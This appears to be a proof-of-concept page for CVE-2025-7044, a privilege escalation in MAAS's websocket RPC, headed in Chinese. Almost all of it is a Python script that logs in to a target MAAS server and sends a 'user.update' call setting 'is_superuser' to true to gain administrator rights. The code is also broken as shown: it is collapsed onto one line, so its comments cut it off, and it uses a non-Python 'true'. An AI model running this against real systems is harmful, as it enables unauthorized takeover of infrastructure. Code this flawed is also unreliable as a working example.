CVE-2025-7044: MAAS用户Websocket权限提升漏洞

#!/usr/bin/env python3 import websocket import json # 连接到MAAS WebSocket ws = websocket.create_connection("wss://target-maas/rpc/") # 认证请求 auth_request = { "method": "login", "params": { "email": "[email protected]", "password": "password123" } } ws.send(json.dumps(auth_request)) # 权限提升请求 privilege_escalation = { "method": "user.update", "params": { "email": "[email protected]", "is_superuser": true } } ws.send(json.dumps(privilege_escalation)) # 验证权限 result = json.loads(ws.recv()) print(f"权限提升成功: {result}") ws.close()